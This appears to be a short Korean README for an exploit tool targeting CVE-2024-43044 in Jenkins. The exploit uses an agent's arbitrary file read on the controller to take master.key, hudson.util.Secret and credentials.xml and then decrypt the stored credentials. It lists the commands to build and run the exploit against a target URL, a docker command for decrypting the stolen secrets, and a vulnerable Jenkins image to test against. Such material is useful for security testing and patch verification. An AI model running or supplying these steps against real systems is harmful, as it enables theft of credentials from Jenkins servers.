
CVE-2024-43044 익스플로잇으로 Jenkins 컨트롤러에서 임의 파일 읽기가 가능하며, secret keys를 사용하여 credentials.xml을 추출 및 복호화합니다.
이것은 CVE-2024-43044에 대한 익스플로잇으로, 에이전트가 컨트롤러에서 파일을 가져올 수 있는 임의 파일 읽기 취약점입니다.
익스플로잇은 이 취약점을 사용하여 credentials.xml 파일을 읽고 비밀 키를 얻어 해독합니다.
초기 코드 : https://github.com/convisolabs/CVE-2024-43044-jenkins 원본 분석글 : https://blog.convisoappsec.com/en/analysis-of-cve-2024-43044/
mvn package
java -jar exploit.jar mode_secret <jenkinsUrl> <nodeName> <nodeSecretKey>
docker run \
--rm \
--network none \
--workdir / \
--mount "type=bind,src=$PWD/master.key,dst=/master.key" \
--mount "type=bind,src=$PWD/hudson.util.Secret,dst=/hudson.util.Secret" \
--mount "type=bind,src=$PWD/credentials.xml,dst=/credentials.xml" \
docker.io/hoto/jenkins-credentials-decryptor:latest \
/jenkins-credentials-decryptor \
-m master.key \
-s hudson.util.Secret \
-c credentials.xml \
-o json
취약한 버전에서 docker를 사용하여 테스트할 수 있습니다:
docker run -p 8080:8080 -p 50000:50000 --restart=on-failure jenkins/jenkins:2.441-jdk17
Jenkins가 실행 중이면 에이전트를 설정하세요.